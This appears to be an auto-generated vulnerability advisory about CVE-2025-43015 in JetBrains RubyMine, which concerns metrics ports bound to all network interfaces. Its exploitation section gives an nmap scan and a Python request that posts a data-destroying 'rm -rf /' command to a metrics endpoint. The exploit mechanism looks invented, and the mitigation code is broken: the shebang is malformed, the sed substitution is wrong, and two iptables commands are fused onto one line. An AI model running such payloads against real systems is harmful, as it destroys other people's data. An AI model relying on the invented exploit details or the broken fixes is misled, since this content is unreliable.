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How the CVE Works:
CVE-2025-43015 is a critical vulnerability in JetBrains RubyMine before version 2025.1, where the remote interpreter improperly binds metrics ports to all network interfaces (0.0.0.0) instead of restricting them to localhost. This misconfiguration allows unauthenticated attackers on the same network to execute arbitrary code by injecting malicious payloads via the exposed metrics endpoint. The issue stems from insufficient validation of interpreter settings, enabling remote exploitation without user interaction.
DailyCVE Form:
Platform: JetBrains RubyMine
Version: < 2025.1
Vulnerability: Remote Code Execution
Severity: Critical
Date: 04/25/2025
What Undercode Say:
Exploitation:
1. Network Scanning: Identify exposed RubyMine instances using:
nmap -p 63342,6942 <target_network> --open
2. Payload Delivery: Craft a malicious metrics request:
import requests
requests.post("http://<target_ip>:6942/metrics", json={"cmd": "rm -rf /"})
3. Privilege Escalation: Abuse interpreter permissions to gain root access.
Protection:
1. Patch: Upgrade to RubyMine 2025.1+.
2. Firewall Rules: Restrict metrics ports to localhost:
iptables -A INPUT -p tcp --dport 6942 -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport 6942 -j DROP
3. Configuration Hardening: Disable remote interpreters if unused.
Detection:
- Log Analysis: Monitor for unusual connections to metrics ports:
grep "6942" /var/log/rubymine/.log | grep -v "127.0.0.1"
- YARA Rule: Detect exploit attempts:
rule rubymine_rce { strings: $ = "POST /metrics HTTP/1.1" condition: all of them }
Mitigation Script:
!/bin/sh Disable remote interpreter if unpatched sed -i 's/remote_interpreter_enabled=true/false/' ~/.RubyMine/config/options/remote.xml
References:
- JetBrains Advisory: RB-2025-43015
- CWE-284: Improper Access Control
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
